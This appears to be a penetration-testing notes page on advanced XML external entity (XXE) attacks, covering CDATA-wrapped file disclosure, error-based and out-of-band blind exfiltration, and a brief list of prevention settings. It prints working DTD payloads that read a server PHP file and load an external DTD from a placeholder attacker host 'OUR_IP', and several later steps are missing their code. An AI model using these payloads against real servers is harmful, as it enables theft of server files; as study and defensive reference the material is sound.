githubEdit

advance-xxe

Advanced file disclosure:

Advanced exfiltration with CDATA

To extract any type of data, bypassing format restrictions and enabling the inclusion of special characters or binary data (escape special characters).

First:

<!DOCTYPE email [
  <!ENTITY begin "<![CDATA[">
  <!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">
  <!ENTITY end "]]>">
  <!ENTITY joined "&begin;&file;&end;">
]>

This will not work, since XML prevents joining internal and external entities. So we have to utilize special character % to bypass this limitation.

Second:

echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd

Third:

python3 -m http.server

Forth:

<!DOCTYPE email [
  <!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->
  <!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- reference external file -->
  <!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->
  <!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- reference our external DTD -->
  %xxe;
]>

Fifth:

Error based XXE

If the web application does not show any output with XXE injection in the web page and displays runtime error, or does not have proper exception handling for XML input (none of the XML entities displayed).

This method has length limitations.

  1. Test this vulnerability and show error (using error technique to show data):

  1. Host a DTD file and setup server

  1. Call our external DTD script and reference the error entity

Delete other XML data and keep above payload only.

Blind data exfiltration (No error, No output)

Out-of-band data exfiltration

  1. Python3 -m http.server

  2. Redirect the output to our server

  3. Payload (xxe.dtd):

  1. Reference our entity

  1. Python3 server did not work, use PHP server

Automated OOB exfiltration

XXEinjectorarrow-up-right

XXE Prevention

Avoid using outdated components

Using safe XML configurations

  • Disable referencing custom Document Type Definitions (DTDs)

  • Disable referencing External XML Entities

  • Disable Parameter Entity processing

  • Disable support for XInclude

  • Prevent Entity Reference Loops

  • Disable runtime errors

  • Use JSON or YAML

Last updated